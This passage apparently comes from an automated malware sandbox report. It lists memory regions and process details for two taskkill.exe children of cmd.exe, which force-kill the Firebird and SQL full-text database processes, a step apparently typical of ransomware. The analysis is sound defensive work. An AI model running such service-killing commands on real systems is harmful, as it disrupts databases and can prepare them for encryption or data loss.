private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000000b0000 0x000b0000 0x000b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000000d0000 0x000d0000 0x0010ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00110000 0x00176fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000180000 0x00180000 0x001bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000220000 0x00220000 0x0025ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000290000 0x00290000 0x002cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000300000 0x00300000 0x0037ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000380000 0x00380000 0x003bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003d0000 0x003d0000 0x0040ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000420000 0x00420000 0x0051ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00520000 0x005dffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000005f0000 0x005f0000 0x0062ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00650000 0x00665fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000680000 0x00680000 0x006bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000700000 0x00700000 0x0073ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000007d0000 0x007d0000 0x007dffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000007e0000 0x007e0000 0x00967fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000970000 0x00970000 0x00af0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000b00000 0x00b00000 0x01efffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001f70000 0x01f70000 0x01faffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001fc0000 0x01fc0000 0x01ffffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002040000 0x02040000 0x0207ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002080000 0x02080000 0x0217ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02180000 0x0244efff Memory Mapped File Readable False False False
  • Region Actions
fastprox.dll 0x6a710000 0x6a7a5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a8c0000 0x6a8d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a8f0000 0x6a918fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a920000 0x6a97bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a980000 0x6a989fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a990000 0x6a9c4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a9d0000 0x6a9defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9e0000 0x6a9f0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6aa00000 0x6aa0cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #16: taskkill.exe
+
Information Value
ID #16
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM fbserver.exe /IM fbserver.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:22, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:13
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x948
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 850
0x 844
0x 848
0x 84C
0x 85C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x000cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000d0000 0x000d0000 0x000d0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000e0000 0x000e0000 0x0015ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000160000 0x00160000 0x00160fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000170000 0x00170000 0x001affff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001b0000 0x001b0000 0x001b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001c0000 0x001c0000 0x002bffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x002c0000 0x00326fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000330000 0x00330000 0x0036ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000370000 0x00370000 0x003affff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000003b0000 0x003b0000 0x003b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000003f0000 0x003f0000 0x003fffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000400000 0x00400000 0x00587fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000590000 0x00590000 0x00710fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000720000 0x00720000 0x0075ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00760000 0x00775fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000780000 0x00780000 0x01b7ffff Pagefile Backed Memory Readable True False False
  • Region Actions
kernelbase.dll.mui 0x01b80000 0x01c3ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000001c80000 0x01c80000 0x01cbffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d40000 0x01d40000 0x01d7ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001db0000 0x01db0000 0x01deffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001df0000 0x01df0000 0x01eeffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x01ef0000 0x021befff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000021c0000 0x021c0000 0x021fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000022a0000 0x022a0000 0x022dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000022e0000 0x022e0000 0x0231ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002340000 0x02340000 0x0237ffff Private Memory Readable, Writable True False False
  • Region Actions
ntdsapi.dll 0x6a730000 0x6a747fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a750000 0x6a7e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a8a0000 0x6a98afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a990000 0x6a99efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a9a0000 0x6a9a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9b0000 0x6a9c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a9d0000 0x6aa04fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #17: taskkill.exe
+
Information Value
ID #17
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM fdhost.exe /IM fdhost.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:22, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:13
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x82c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 874
0x 958
0x 864
0x 868
0x 86C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000070000 0x00070000 0x000effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x001effff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001f0000 0x001f0000 0x001f1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00200000 0x00203fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x00210fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000220000 0x00220000 0x00220fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000230000 0x00230000 0x0026ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000270000 0x00270000 0x00270fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000280000 0x00280000 0x00280fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002dffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x002e0000 0x00346fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000350000 0x00350000 0x004d7fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000004f0000 0x004f0000 0x004fffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000500000 0x00500000 0x00680fff Pagefile Backed Memory Readable True False False
  • Region Actions
kernelbase.dll.mui 0x00690000 0x0074ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000750000 0x00750000 0x0084ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000860000 0x00860000 0x0089ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x008c0000 0x008d5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000008e0000 0x008e0000 0x01cdffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001ce0000 0x01ce0000 0x01d1ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d20000 0x01d20000 0x01d5ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001da0000 0x01da0000 0x01ddffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001df0000 0x01df0000 0x01e2ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e60000 0x01e60000 0x01e9ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001ea0000 0x01ea0000 0x01edffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001fc0000 0x01fc0000 0x01ffffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02000000 0x022cefff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002310000 0x02310000 0x0234ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023c0000 0x023c0000 0x023fffff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a710000 0x6a7a5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a8c0000 0x6a8d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a8f0000 0x6a918fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a920000 0x6a97bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a980000 0x6a989fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a990000 0x6a9c4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a9d0000 0x6a9defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9e0000 0x6a9f0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6aa00000 0x6aa0cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
